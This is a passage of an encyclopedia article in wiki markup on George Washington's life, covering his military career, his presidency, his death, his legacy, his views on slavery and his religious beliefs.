At twenty-two years of age, Washington fired some of the first shots of what would become a war between colonial powers. The trouble began in 1753, when [[France]] began building a series of forts in the [[Ohio Country]], a region also claimed by Virginia. This was part of an overall strategy by the French, with the support of the indigenous population, to destabilize the American frontier and tie up British military forces in the American colonies. [[Robert Dinwiddie]], the governor of Virginia, had young Major Washington deliver a letter to the French commander, asking them to leave. After the publication of Washington's accounts of this tale appreared in local newspapers, he became a legend. The French refused, and so, in 1754, Dinwiddie sent Washington, now promoted to [[Lieutenant Colonel]] in the First Virginia Regiment, on another mission to the Ohio Country. There, Washington and his troops ambushed a [[French Canadian]] scouting party. After a short skirmish, Washington's [[Native Americans in the United States|American Indian]] ally [[Tanacharison]] killed the wounded French commander [[Joseph Coulon de Jumonville|Ensign Jumonville]]. Washington then built [[Fort Necessity]], which soon proved inadequate, as he was [[Battle of the Great Meadows|compelled to surrender]] to a larger French and American Indian force. The surrender terms that Washington signed included an admission that he had &quot;assassinated&quot; Jumonville. (The document was written in French, which Washington could not read.) The [[Battle of Jumonville Glen|&quot;Jumonville affair&quot;]] became an international incident and helped to ignite the [[French and Indian War]], a part of the worldwide [[Seven Years' War]].   

Washington was later released by the French, on parole, with his promise not to return to the Ohio Country for one year.   

Washington was always eager to serve in the [[British Army]], which, on the other hand, had a low regard for colonials. His opportunity came in 1755, when he accompanied the [[Braddock Expedition]], a major effort by the British to retake the Ohio Country. The expedition ended in disaster at the [[Braddock Expedition#Battle of the Monongahela|Battle of the Monongahela]]. Washington distinguished himself in the debacle&amp;mdash;he had two horses shot out from under him, and four bullets pierced his coat&amp;mdash;yet he sustained no injuries and showed coolness under fire in organizing the retreat. In Virginia, Washington was acclaimed as a hero, and he commanded the First Virginia Regiment for several more years, although the focus of the war had shifted elsewhere. In 1758, he accompanied the [[John Forbes (General)|Forbes Expedition]], which successfully drove the French away from [[Fort Duquesne]].   

Washington's goal at the outset of his military career had been to secure a commission as a regular British officer&amp;mdash;rather than staying a mere colonial militia officer. The promotion did not come, and so, in 1759, Washington resigned his commission and married [[Martha Washington|Martha Dandridge Custis]], a wealthy widow with two children. Washington raised her two children, John Parke Custis and Martha Parke Custis, affectionately called &quot;Jacky&quot; and &quot;Patsy&quot;.  Later the Washington's raised two of Mrs. Washington's grandchildren, Eleanor Parke Custis and George Washington Parke Custis, or &quot;Nelly&quot; and &quot;Washy&quot;.  Washington himself never fathered any of his own. The newlywed couple moved to Mount Vernon where he took up the life of a genteel farmer and [[slavery|slave]] owner. He held local office and was elected to the Virginia provincial legislature, the [[House of Burgesses]].

==American Revolution: 1774-1783==
{{main articles|[[American Revolution]] and [[American Revolutionary War]]}}
[[Image:Washington Crossing the Delaware.png|thumb|right|350px|''[[Washington Crossing the Delaware]],'' by [[Emanuel Leutze]], 1851
, [[Metropolitan Museum of Art|Metropolitan Museum]]]]
In 1774, Washington was chosen as a [[delegate]] from Virginia to the First [[Continental Congress]], convened in the wake of the Boston Tea Party, the British government's punitive closure of Boston Harbor, and the annulment of legislative and judicial rights in Massachusetts. After fighting broke out at Lexington and Concord in April, 1775, Washington appeared at the [[Second Continental Congress]] in military uniform&amp;mdash;the only delegate to do so, signaling his interest in becoming commander of the colonial forces.  Washington was the unanimous selection, on [[June 15]] [[1775]]. The [[Massachusetts]] delegate [[John Adams]] suggested his appointment, citing his &quot;skill as an officer... great talents and universal character.&quot; He assumed command of the American forces at Cambridge, Massachusetts on [[July 3]]. 

Washington drove the British forces out of [[Boston, Massachusetts|Boston]] on [[March 17]], [[1776]], by stationing artillery captured at [[Battle of Ticonderoga (1775)|Ticonderoga]] on [[Dorchester Heights]], overlooking Boston and its harbor. The British army, led by General [[William Howe]], retreated to [[Halifax Regional Municipality|Halifax]], [[Canada]]. Washington moved his army to [[New York City]] in anticipation of a British offensive there.  In August, the British invaded in overwhelming numbers and Washington led a clumsy retreat that almost failed.  He lost the [[Battle of Long Island]] on [[August 22]] but managed to move most of his forces to the mainland. However, several other defeats sent Washington scrambling across [[New Jersey]], leaving the future of the Revolution in doubt.

On the night of [[December 25]] [[1776]], Washington staged a brilliant comeback, the [[Battle of Trenton]].  He led the American forces across the [[Delaware River]] to smash the [[Hessians|Hessian]] forces in [[Trenton, New Jersey]].  Washington followed up the assault with a surprise attack on General [[Charles Cornwallis]]' forces at [[Battle of Princeton|Princeton]] on the eve of [[January 2]], [[1777]]. The successful attacks built morale among the pro-independence colonists.

In summer 1777, the British launched a three-pronged attack, with [[Burgoyne]] marching south from Canada while Howe attacked the national capital of [[Philadelphia]].  Washington moved south, but was badly defeated at the [[Battle of Brandywine]] on [[September 11]].  An attempt to dislodge the British, the [[Battle of Germantown]], failed as a result of fog and confusion, and Washington was forced to retire to winter quarters at the miserably inadequate [[Valley Forge]]. 

The winter of 1777-1778 was seen as the low point for the Continental Army (and as a result, for the Revolution as a whole), due to their string of crushing losses, and their wretched living conditions. Washington, however, stood steadfast, demanding more supplies from Congress. His men recovered their morale despite the harsh winter conditions. A new system of drill and training was established by [[Baron Friedrich von Steuben]], who had served on the Prussian general staff. Von Steuben's task was to improve the army’s fighting capabilities so that it could match the British in the field. As a result, Valley Forge proved to be a watershed for the fledgling Continental Army which emerged more battle ready than when they first encamped.

Washington attacked the British army moving from Philadelphia to New York at the [[Battle of Monmouth]] on [[June 28]] [[1778]], a drawn contest, but the British effort to disrupt the national government had failed.  Burgoyne’s invading army, meanwhile, was captured at [[Saratoga]] in October, giving the British a crushing defeat.  It now seemed likely that the British would never re-conquer the new nation, and France signed a formal [[Treaty of Alliance|alliance]] with the U.S. 

After 1778, the British made one last effort to split apart the new nation, this time focused on the southern states. Rather than attack them there, Washington's forces moved to [[West Point, New York|West Point]] in New York.  In 1779, Washington ordered a fifth of the army to carry out the [[Sullivan Expedition]], an offensive against four of the six nations of the [[Iroquois Confederacy]] that had allied with the British and attacked American settlements along the frontier. There were no battles, but at least forty Iroquois villages were destroyed and the hostile Indians moved permanently to Canada.  In 1781, American and French forces and a French fleet trapped General Cornwallis at [[Yorktown, Virginia|Yorktown]] in Virginia. Washington had quick-marched south, taking command of the American and French forces on [[September 14]], and pressed the siege until Cornwallis surrendered on [[October 17]]. It was the end of significant fighting, though British forces remained in New York City and a few other places until the final peace was ratified in 1783. 

In March 1783, Washington learned about [[Newburgh conspiracy|a conspiracy]] planned by some of his officers who were upset about back pay in the Continental Army's winter camp at [[Newburgh, New York]]. They were plotting a [[coup]] against the  Continental Congress. He was able to convince them (through use of [[theatre|theatrics]]) that he had suffered equally or more than they. He was thus able to instill loyalty, and thus end the plot.

Later in 1783, by means of the [[Treaty of Paris (1783)|Treaty of Paris]], the [[Kingdom of Great Britain|British]] recognized American independence.  Washington disbanded his army and on [[November 2]] at [[Rockingham House]] in [[Rocky Hill, New Jersey]], gave an eloquent [http://memory.loc.gov/cgi-bin/ampage?collId=mgw3&amp;fileName=mgw3b/gwpage016.db&amp;recNum=347 farewell address] to his soldiers. A few days later the [[Evacuation Day (New York)|British evacuated New York City]], and Washington and the governor took possession of the city; at [[Fraunces Tavern]] in the city on [[December 4]], he formally bade his officers farewell.

==Home in Virginia 1783-1787==
[[Image:GW-painting.jpg|thumb|left|280px|''George Washington'' by [[John Trumbull]], painted in London, 1780, from memory]]

On [[December 23]] [[1783]], General Washington resigned his commission as Commander in Chief of the Army to the [[Congress of the Confederation|Congress of the Confederation]], which was then meeting at the [[Maryland State House]] in [[Annapolis]]. This action was of great significance for the young nation, establishing the precedent that civilian elected officials, rather than military officers, possessed ultimate [[Civilian control of the military|authority over the military]]. Washington firmly believed that the people are sovereign and that no one should ever come to power in America because of military force, or because of birth in a noble family.

General George Washington returned home to Mount Vernon arriving at the gates of his estate around candlelight on Christmas Eve, 1783.  He had been absent from his beloved home in service to his country since he assumed command of the Army in 1775.  Waiting to greet him was the wife he made the promise to eight years prior to be home by Christmas and four step-grandchildren all born during his absence.  The end of the war also took with it George Washington's step-son, Jacky Custis.  The boy he raised died of camp fever in 1781 at Yorktown.  

At the time of Washington's departure from military service, he was listed on the rolls of the Continental Army as &quot;General and Commander in Chief.&quot; (See ''Retirement, death, and honors'' section [[#Retirement, death, and honors|below]] for more on this topic.)

Although the nation was at peace in the late 1780s, Washington worried that the fledgling nation had such a weak central government that it could not survive a future war.  He therefore endorsed plans to create a new constitution. His support guaranteed it would happen and he presided over the [[Philadelphia Convention|Constitutional Convention]] in [[Philadelphia]] in 1787. For the most part, he did not participate in the debates involved, but his prestige was great enough to maintain collegiality and to keep the delegates at their labors. He adamantly enforced the secrecy adopted by the Convention during the summer. Many believe that the [[Founding Fathers of the United States|Framers]] created the [[Presidency]] with Washington in mind. After the Convention, his support convinced many, including the [[Virginia]] legislature, to support the [[U.S. Constitution|Constitution]].

Washington farmed roughly 8,000 acres (32 km²). Like many Virginia planters at the time, he had little cash on hand and was frequently in debt, even though he owned much land. He eventually had to borrow $600 to relocate to New York, then the center of the American government, to take office as president.

==Presidency: 1789-1797==
===Beginnings===

George Washington was [[U.S. presidential election, 1789|elected]] unanimously by the [[U.S. Electoral College|Electoral College]] in 1789, and remains the only person ever to be elected president unanimously (a feat which he duplicated in 1792). As runner-up with 34 votes, [[John Adams]] became [[Vice President of the United States|Vice President]]-elect.  The [[First United States Congress|First U.S. Congress]] voted to pay Washington a salary of $25,000 a year&amp;mdash;a significant sum in 1789. Washington was perhaps the wealthiest American at the time; his western lands were potentially valuable--but no one lived on them as yet. He declined his salary.  It was part of his self-structured image as [[Cincinnatus]], the citizen who takes on the burdens of office as a civil duty.  Washington attended carefully to the pomp and ceremony of office, making sure that the titles and trappings were suitably republican and never emulated European royal courts. 

Washington's election was a disappointment to [[Martha Washington]], the [[First Lady of the United States|First Lady]], who wanted to continue living in quiet retirement at Mount Vernon after the war. Nevertheless, she quickly assumed the role of hostess, opening her [[parlor]] and organizing weekly dinner parties for as many dignitaries as could fit around the presidential table.  

===Policies===
In the beginning of his term, he met individually with his advisors, but, by 1791, held regular cabinet meetings.  Washington had to referee between the Treasury's [[Alexander Hamilton]], who had bold plans to establish the national credit and build a financially powerful nation, and [[Thomas Jefferson]] and [[James Madison]], who usually opposed him. Hamilton won most of these battles and, after Washington denounced the [[Democratic-Republican societies]] as dangerous, he was hailed as the leading figure in the new [[Federalist Party]]. Jefferson did win the location of the new national capital, which would be located in the South, in what was soon named &quot;Washington, District of Columbia&quot;.  

In 1791, Congress imposed an [[excise tax]] on [[distilled]] [[spirits]], leading to protests. By 1794, after Washington ordered the protesters to appear in [[United States district court|U.S. district court]], the protests turning into full-scale riots, and outright [[Whiskey Rebellion|rebellion]].  On [[August 7]], Washington invoked the [[Militia Law of 1792]] to summon the [[militia]]s of Pennsylvania, Virginia and several states.  He raised an army of militiamen, and marched at its head into the rebellious districts, making him the only sitting US President to march at the head of a column of troops.  There was no fighting, but Washington's forceful action proved the new government could protect itself.  In leading the military force against the rebels Washington became the only president to personally lead troops in battle while [[commander-in-chief]]. It also marked the first time under the new constitution that the federal government had used strong military force to exert authority over the states and citizens.

The United States had acquired title to the [[Northwest Territory]] from Great Britain in the Revolutionary War, but the [[Native Americans in the United States|American Indians]] who lived there were not consulted.  Violence often resulted, the largest conflict being the [[Northwest Indian War]], in which the Indians won victories until being defeated at the [[Battle of Fallen Timbers]] in 1794.

In 1793, the revolutionary government of France sent diplomat [[Citizen Genet|Edmond-Charles Genêt]], who attempted to turn popular sentiment towards American involvement in the war against [[Great Britain]].  Genêt was authorized to issue [[letters of marque and reprisal]] to American ships and gave authority to any French [[Consulate general|consul]] to serve as a [[prize court]].  Genêt's activities forced Washington to ask the French government for his recall.

The [[Jay Treaty]], named after [[Chief Justice of the United States]] [[John Jay]] who was sent by Washington to [[London]] to negotiate an agreement, was a treaty between the [[United States]] and [[Kingdom of Great Britain|Great Britain]] signed on [[November 19]], 1794 that attempted to clear up some of the lingering problems of American separation from Great Britain following the [[American Revolutionary War]].  The Treaty was strongly attacked by supporters of France, led by the Jeffersonians, but Washington, supported by [[Alexander Hamilton]], obtained its ratification by [[United States Congress|Congress]]. The British had to clear out of their forts around the [[Great Lakes]]. It remained in effect until the [[War of 1812]].

[[Alexander Hamilton]] used Federal patronage to set up a national network of friends of the Administration.  This developed into a full-fledged party, with Hamilton the key leader. The [[Federalist party]] elected [[John Adams]] president in 1796. Washington himself spoke often against the ills of political parties, and thus never declared his support one way or another. He did, however, support Hamiltonian politics over Jeffersonian, but never made a statement to that effect. Washington was more or less not a member of any party in existence at that time.

Washington had to be talked into a second term of office as President, and very reluctantly agreed to it. However, after two terms, Washington refused to run for a third term in office. By refusing a third term, Washington established a firm, but unwritten precedent of a maximum of two terms for a U.S. president.  It was broken by [[Franklin Delano Roosevelt]] in 1940, but after his death was formally integrated into the [[United States Constitution|Federal Constitution]] by the [[Twenty-second Amendment to the United States Constitution|22nd Amendement]].

[[George Washington's Farewell Address|Washington's Farewell Address]] (issued as a public letter) was the defining statement of Federalist party principles and one of the most influential statements of American political values.  Most of the Address dealt with the dangers of bitter partisanship in domestic politics.  He called for men to put aside party and unite for the common good.  He called for an America wholly free of foreign attachments, as the United States must concentrate only on American interests. He counseled friendship and commerce with all nations, and warned sternly against involvement in European wars. Long-term alliances should be avoided, but he said the 1778 alliance with France had to be observed.  The Address quickly entered the realm of &quot;received wisdom.&quot; Many Americans, especially in subsequent generations, accepted Washington's advice as gospel and, in any debate between neutrality and involvement in foreign issues, would invoke the message as dispositive of all questions. Not until 1949 would the United States again sign a treaty of alliance with a foreign nation. 

At John Adams' inauguration, Washington is said to have approached Adams afterwards and stated &quot;Well, I am fairly out and you are fairly in. Now we shall see who enjoys it the most!&quot; Washington also declined to leave the room before Adams and the new [[Vice President of the United States]], [[Thomas Jefferson]], establishing the principle that even a former president is, after all, only a private citizen.

===Major presidential acts===
* Signed [[Judiciary Act of 1789]]
* Signed [[Indian Intercourse Act]]s, starting in 1790
* Signed [[Residence Act|Residence Act of 1790]]
* Signed [[Bank of North America|Bank Act of 1791]]
* Signed [[Coinage Act (1792)|Coinage Act of 1792]] or Mint Act 
* Signed [[Fugitive Slave Act (1793)|Fugitive Slave Act of 1793]]
* Signed [[Naval Act of 1794]]

===Administration and Cabinet===
[[Image:Washington (3).jpg|250px|thumb|right|The '''[[Lansdowne portrait]]''' of President Washington by [[Gilbert Stuart]]]]

{| cellpadding=1 cellspacing=4 style=&quot;margin:3px; border:3px solid #000000;text-align:left&quot; align=left
!bgcolor=#000000 colspan=3|
|-
|'''OFFICE'''||'''NAME'''||'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|[[President of the United States|President]]||'''George Washington'''||1789&amp;ndash;1797
|-
|[[Vice President of the United States|Vice President]]||'''[[John Adams]]'''||1789&amp;ndash;1797
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|[[United States Secretary of State|Secretary of State]]||'''[[Thomas Jefferson]]'''||1789&amp;ndash;1793
|-
|&amp;nbsp;||'''[[Edmund Randolph]]'''||1794&amp;ndash;1795
|-
|&amp;nbsp;||'''[[Timothy Pickering]]'''||1795&amp;ndash;1797
|-
|[[United States Secretary of the Treasury|Secretary of the Treasury]]||'''[[Alexander Hamilton]]'''||1789&amp;ndash;1795 
|-
|&amp;nbsp;||'''[[Oliver Wolcott, Jr.]]'''||1795&amp;ndash;1797
|-
|[[United States Secretary of War|Secretary of War]]||'''[[Henry Knox]]'''||1789&amp;ndash;1794
|-
|&amp;nbsp;||'''[[Timothy Pickering]]'''||1795&amp;ndash;1796
|-
|&amp;nbsp;||'''[[James McHenry]]'''||1796&amp;ndash;1797
|-
|[[Attorney General of the United States|Attorney General]]||'''[[Edmund Randolph]]'''||1789&amp;ndash;1793
|-
|&amp;nbsp;||'''[[William Bradford (1755-1795)|William Bradford]]'''||1794&amp;ndash;1795
|-
|&amp;nbsp;||'''[[Charles Lee (Attorney General)|Charles Lee]]'''||1795&amp;ndash;1797
|-
|[[Postmaster General of the United States|Postmaster General]]||'''[[Samuel Osgood]]'''||1789&amp;ndash;1791
|-
|&amp;nbsp;||'''[[Timothy Pickering]]'''||1791&amp;ndash;1795
|-
|&amp;nbsp;||'''[[Joseph Habersham]]'''||1795&amp;ndash;1797
|}
&lt;br clear=&quot;all&quot;&gt;

===Supreme Court appointments===
As the first President, Washington appointed the entire Supreme Court, a feat almost repeated by President [[Franklin Delano Roosevelt]] during his four terms in office (1933&amp;ndash;45). Washington appointed the following Justices to the [[Supreme Court of the United States]]:

* [[John Jay]] - [[Chief Justice of the United States|Chief Justice]] - 1789
* [[James Wilson]] - 1789
* [[John Rutledge]] - 1790
* [[William Cushing]] - 1790
* [[John Blair]] - 1790
* [[James Iredell]] - 1790
* [[Thomas Johnson (governor)|Thomas Johnson]] - 1792
* [[William Paterson (jurist)|William Paterson]] - 1793
* [[John Rutledge]] - Chief Justice, 1795 (an associate justice since 1790) 
* [[Samuel Chase]] - 1796
* [[Oliver Ellsworth]] - Chief Justice - 1796

===States admitted to the Union===
* [[North Carolina]] (1789)
* [[Rhode Island]] (1790)
* [[Vermont]] (1791)
* [[Kentucky]] (1792)
* [[Tennessee]] (1796)

==Retirement and death==
[[Image:Apotheosis of George Washington.jpg|left|thumb|250px|[[Constantino Brumidi]]'s 1865 [[fresco]] The [[Apotheosis of Washington]] is found in the [[rotunda]] of the [[United States Capitol]]]]

After retiring from the presidency in March 1797, Washington returned to Mount Vernon with a profound sense of relief. He established a [[distillery]] there and became probably the largest distiller of [[whiskey]] in the nation at the time, producing 11,000 gallons of whiskey and a profit of $7,500 in 1798.

During that year, Washington was appointed [[Lieutenant General]] in the [[United States Army]] (then the highest possible rank) by President [[John Adams]]. Washington's appointment was to serve as a warning to [[France]], with which war seemed imminent. While Washington never saw active service, upon his death one year later, the U.S. Army rolls listed him as a retired Lieutenant General, which was then considered the equivalent to his rank as General and Commander in Chief during the Revolutionary War.

Within a year of this 1798 appointment, Washington fell ill from a bad cold with a fever and a sore throat that turned into acute [[laryngitis]] and [[pneumonia]] and died on [[December 14]] [[1799]], at his home. Modern doctors believe that Washington died from either a [[strep throat|streptococcal infection of the throat]] or, since he was bled as part of the treatment, a combination of [[shock]] from the loss of blood, [[asphyxia]], and [[dehydration]]. One of the physicians who administered [[bloodletting]] to him was Dr. [[James Craik]], one of Washington's closest friends, who had been with Washington at Fort Necessity, the Braddock expedition, and throughout the Revolutionary War. Washington's remains were buried at [[Mount Vernon (plantation)|Mount Vernon]].

==After his death==
Congressman Henry [[Light Horse Harry Lee]], a Revolutionary War comrade, famously eulogized Washington as &quot;a citizen, first in war, first in peace, and first in the hearts of his countrymen.&quot;

Washington set many precedents that established tranquility in the presidential office in the years to come. His choice to peacefully relinquish the presidency to [[John Adams]], after serving two terms in office, is seen as one of Washington's most important legacies. 

He was also lauded posthumously as the &quot;[[Father of His Country]]&quot; and is often considered to be the most important of [[Founding Fathers of the United States]]. He has gained fame around the world as a quintessential example of a benevolent national founder. Americans often refer to men in other nations considered the [[Father of the Nation|Father of their Country]] as &quot;the George Washington of his nation&quot; (for example, [[Mahatma Gandhi]]'s role in [[India]]).

Washington was ranked #26 in [[Michael H. Hart]]'s [[The 100|list of the most influential figures in history]]. He is generally regarded by historians as one of the [[historical rankings of U.S. Presidents|greatest presidents]]. 

Even though he had been the highest-ranking officer of the Revolutionary War, having in 1798 been appointed a ''Lieutenant General'' (now three stars), it seemed, somewhat incongruously, that all later full (that is, four star) generals in U.S. history (starting with General [[Ulysses S. Grant]]), and also all five-star generals of the Army, were considered to outrank Washington. General [[John J. Pershing]] had attained an even higher rank of six-star general, ''General of the Armies'' (above five star&amp;mdash;though the most stars Pershing actually ever wore were four). This issue was resolved in 1976 when Washington was, by act of [[Congress]], posthumously promoted to the rank of [[General of the Armies]], outranking any past, present, and future general, and declared to permanently be ''the'' top-ranked military officer of the United States. 

===Monuments and memorials===
[[Image:United States quarter, obverse, 2004.jpg|thumb|left|175px|Washington is commemorated on the [[Quarter (U.S. coin)|U.S. quarter]].]]

Today Washington's face and image are often used as national symbols of the United States, along with the icons such as the flag and great seal. Perhaps the most pervasive commemoration of his legacy is the use of his image on the [[U.S. one dollar bill|one dollar bill]] and the [[Quarter (U.S. coin)|quarter-dollar coin]]. The image used on the dollar bill is derived from a famous portrait of him painted by [[Gilbert Stuart]], itself one of the most notable works of early American art.

Because of Washington's involvement in Freemasonry, some publicly visible collections of Washington memorabilia are maintained by Masonic lodges, most notably the [[George Washington Masonic Memorial]] in Alexandria, Virginia. The museum at [[Fraunces Tavern Museum]] in New York City includes specimens of Washington's [[false teeth]] (contrary to the widespread myth, they were not wooden - see the [[George Washington#Trivia|trivia]] section below).

[[Image:DSCN3500 georgewashington e.JPG|300px|right|thumb|Tourists pose under the statue of Washington outside the [[Federal Hall]] Memorial in lower [[Manhattan]], site of Washington's first inauguration as President]]

The capital city of the United States, [[Washington, D.C.]], is named for him. The District of Columbia was created by an [[Act of Congress]] in 1790, and Washington was deeply involved in its creation, including choosing the site for the [[White House]]. The [[Washington Monument]], one of the most well-known landmarks in the city, was built in his honor. [[George Washington University|The George Washington University]], also in D.C., was named after him, and it was founded in part with shares Washington bequeathed to an endowment to create a national university in Washington.

The only state named for a president is the state of [[Washington]] in the U.S. [[Pacific Northwest]].

Washington selected [[West Point, New York|West Point]], [[New York]], as the site for the [[United States Military Academy]]. The [[United States Navy]] has [[USS George Washington|named three ships]] after Washington; the [[USS George Washington (CVN-73)|one currently serving]] is a [[Nimitz Class]] nuclear powered [[aircraft carrier]], commissioned on [[July 4]], [[1992]].

Other examples include the [[George Washington Bridge]], which extends between [[New York City]] and [[New Jersey]], and the [[Arecaceae|palm tree]] genus ''[[Washingtonia]]'' is also named after him.

''See also:'' [[List of places named for George Washington]]

===Summary of military career===
* 1753: Commissioned a [[Major]] in the [[Virginia Militia]]
* 1754: Promoted to [[Lieutenant Colonel]] in the Virginia Militia
* 1754: Led abortive expedition to Fort Duquesne, later served as aide to General [[Edward Braddock]]
* 1755: Promoted to [[Colonel]] and named Commander of all Virginia Forces. Commissioned a [[Brigadier General]] later that year
* 1759&amp;ndash;75: Resigned from active military service
* June 1775: Commissioned General and Commander in Chief of the Continental Army
* 1775&amp;ndash;81: Commands the Continental Army in over seven major battles with the British
* December 1783: Resigns commission as Commander in Chief of the Army
* July 1798: Appointed Lieutenant General and Commander of the Provisional Army to be raised in the event of a war with France
* [[14 December]] [[1799]]: Dies and is listed as a Lieutenant General (r) on the U.S. Army rolls
* [[19 January]] [[1976]]: Approved by the [[United States Congress]] for promotion to [[General of the Armies]]
* [[11 October]] [[1976]]: Declared the senior most U.S. military officer for all time by Presidential Order of [[Gerald Ford]]
* [[13 March]] [[1978]]: Promoted by Army Order 31-3 to General of the Armies with effective date of rank [[July 4]] [[1776]].

==Personal qualities==
{{POV-check-section}}
Washington was long considered not just a military and revolutionary hero, but a man of great personal integrity, with a deeply held sense of duty, honor and patriotism. He was upheld as a shining example in schoolbooks and lessons: as courageous and farsighted, holding the Continental Army together through eight hard years of war and numerous privations, sometimes by sheer force of will; and as restrained: at War's end taking afront at the notion he should be King; and after two terms as President, stepping aside.

Recent years have seen schools and authors focus more on his weaknesses: his reliance on the family plantation and its slaves; his role in sparking the French and Indian War. Yet the grandparents and great-great-grandparents of today's students were taught of Washington as a character model more even than war hero or founding father. To them, Washington was notable for his modesty and carefully controlled ambition. He never accepted pay during his military service with the Continental Army, and was genuinely reluctant to assume any of the offices thrust upon him. When John Adams recommended him to the [[Continental Congress]] for the position of general and commander in chief of the Continental Army, Washington left the room to allow any dissenters to freely voice their objections. In later accepting the post, Washington told the Congress that he was unworthy of the honor. However, it should be remembered that Washington was always an ambitious man. He ensured that during the Continental Congress he arrived and was always present wearing his old colonial uniform so as to make it clear to all that he was deeply interested in commanding the continental troops. Congress actually made him the commander of the continental army before they authorized an army for him to command. In reality, no one else could have ensured that the southern colonies would assist the northern ones unless Washington was part of the equation; aside from a few other, less endearing leaders, Washington was likely, overall, the only choice that would achieve this.

It is often said that one of Washington's greatest achievements was refraining from taking more power than was due. He was conscientious of maintaining a good reputation by avoiding political intrigue. He had no interest in [[nepotism]] or [[cronyism]], rejecting, for example, a military promotion during the war for his deserving cousin [[William Washington]] lest it be regarded as favoritism. [[Thomas Jefferson]] wrote, &quot;The moderation and virtue of a single character probably prevented this Revolution from being closed, as most others have been, by a subversion of that liberty it was intended to establish.&quot;


===Washington and slavery===
Historians' perceptions of Washington's stand on slavery tend to be mixed. Although he advocated humane treatment of his slaves, according to an eyewitness, his slaves lived in &quot;miserable&quot; huts, and were often poorly clothed, according to plantation records. As he progressed in life, he became increasingly uneasy with the &quot;[[peculiar institution]]&quot;, and historian [[Roger Bruns]] wrote, &quot;As he grew older, he became increasingly aware that it was immoral and unjust.&quot; 

According to historians such as Clayborne Carson and Gary Nash, Washington's professed hatred of slavery was offset by his denial of freedom to even those slaves, like William Lee, who fought with Washington for eight years. Lee lived at Mount Vernon as a slave although his wife was a free woman from Philadelphia, named Margaret Thomas.  Although it is said by some historians that it is not known whether she lived with him on the plantation,  [http://www.mountvernon.org/visit/plan/index.cfm/pid/211/] most sources indicate that she did not. [http://gwpapers.virginia.edu/education/life/quest11.html] [http://chnm.gmu.edu/courses/henriques/hist615/gwslav.htm].  Billy Lee was the only slave freed outright in Washington's will.  
According to one of his most notable biographers, Joseph Ellis, Washington possessed no moral anxiety over owning slaves.  According to Ellis Washington talked and thought about his slaves as &quot;a Species of Property,&quot; very much as he described his dogs and horses. The view by this historian might suggest that Washington's professed love of liberty would not extend out to those who worked on his plantation.  

After the Revolution, Washington told an English visitor, &quot;I clearly foresee that nothing but the rooting out of slavery can perpetuate the existence of our [Federal] union by consolidating it on a common bond of principle.&quot; The buying and selling of slaves, as if they were &quot;cattle in the market,&quot; especially outraged him. He wrote to his friend [[John Francis Mercer]] in 1786, &quot;I never mean... to possess another slave by purchase; it being among my first wishes to see some plan adopted, by which slavery in this country may be abolished by slow, sure, and imperceptible degrees.&quot;[http://lcweb2.loc.gov/cgi-bin/ampage?collId=mgw2&amp;fileName=gwpage013.db&amp;recNum=175][http://lcweb2.loc.gov/cgi-bin/query/r?ammem/mgw:@field(DOCID+@lit(gw290013))] Ten years later, he wrote to [[Robert Morris (merchant)|Robert Morris]], &quot;There is not a man living who wishes more sincerely than I do to see some plan adopted for the gradual [[abolition]] [of slavery].&quot;[http://lcweb2.loc.gov/cgi-bin/query/P?mgw:1:./temp/~ammem_E0NE::][http://lcweb2.loc.gov/cgi-bin/query/r?ammem/mgw:@field(DOCID+@lit(gw280323))]

[[Image:George-Washington.jpg|right|thumb|200px|Washington portrait]]

As President, Washington was mindful of the risk of splitting apart the young [[republic]] over the question of slavery. He did not advocate the abolition of slavery while in office, but did sign legislation enforcing the prohibition of slavery in the [[Northwest Territory]], writing to his good friend the [[Marquis de la Fayette]] that he considered it a wise measure.  Lafayette urged him to free his slaves as an example to others&amp;mdash; Washington was held in such high regard after the revolution that there was reason to hope that if he freed his slaves, others would follow his example. Lafayette purchased an estate in [[French Guiana]] and settled his own slaves there, and he offered a place for Washington's slaves, writing &quot;I would never have drawn my sword in the cause of America if I could have conceived thereby that I was founding a land of slavery.&quot;  Washington did not free his slaves in his lifetime, but included a provision in his will to free the slaves upon the death of his wife.  Mrs. Washington did not wait on this and instead freed the Washington slaves on January 1, 1801.  Billy Lee was the only slave freed outright upon George Washington's death. 

One of Washington's slaves, Oney Judge Staines, escaped the Executive Mansion in Philadelphia in 1796 and lived the rest of her life free in [[New Hampshire]][http://www.ushistory.org/presidentshouse/slaves/oney.htm]&lt;!--I don't know if this source is &quot;official&quot; enough, but there are other sources that can be used, and it is reputable--&gt;.

===Religious beliefs===
Washington's religious views are a matter of some controversy. There is considerable evidence that indicates he, like numerous other men of his time, was a [[Deism|Deist]]&amp;mdash;believing in [[God]] but not believing in [[revelation]] or [[miracle]]s. As a young man, before the Revolution, when the [[Church of England]] was still the [[state religion]] in Virginia, he served as a [[vestry]]man (lay officer) for his local church. He spoke often of the value of prayer, righteousness, and seeking and offering thanks for the &quot;blessings of Heaven&quot;. He sometimes accompanied his wife to Christian church services; however there is no record of his ever becoming a communicant in any [[Christianity|Christian]] church, and he would regularly leave services before [[Eucharist|communion]]&amp;mdash;with the other non-communicants. When Rev. Dr. [[James Abercrombie (Episcopal Priest)|James Abercrombie]], [[rector]] of St. Peter's Episcopal Church in Philadelphia, mentioned in a weekly sermon that those in elevated stations set an unhappy example by leaving at communion, Washington ceased attending at all on communion Sundays. Long after Washington died, asked about Washington's beliefs, Abercrombie replied: &quot;Sir, Washington was a Deist!&quot; His step-granddaughter, Eleanor Parke Custis Lewis, and several others have said, however, that he was, indeed, a Christian. Various prayers said to have been composed by him in his later life are highly edited. He did not ask for any clergy on his deathbed, though one was available. His funeral services were those of the [[Freemasonry|Freemasons]] at the request of his wife, Martha.

Washington was an early supporter of [[religious pluralism]]. In 1775, he ordered that his troops should not burn the [[pope]] in effigy on [[Guy Fawkes Night]]. In 1790, he wrote to [[Jewish]] leaders that he envisioned a country &quot;which gives to bigotry no sanction, to persecution no assistance.... May the Children of the Stock of [[Abraham]], who dwell in this land, continue to merit and enjoy the good will of the other Inhabitants; while every one shall sit under his own vine and fig tree, and there shall be none to make him afraid.&quot;

==Public offices held==
*Surveyor for Culpeper County, Virginia
*Distinguished himself as General Braddock's aide-de-camp in the [[French and Indian War]], 1755
*Named [[commander in chief]] of the Virginia [[militia]], 1755
*Elected to the Virginia House of Burgesses, 1759
*Unanimously chosen commander in chief of the Continental Army, June 1775
*Masterminded the American victory at Yorktown, October 1781
*Unanimously elected President of the Constitutional Convention 1787
*Unanimously elected President of the United States twice, 1789 and 1792

==Trivia==
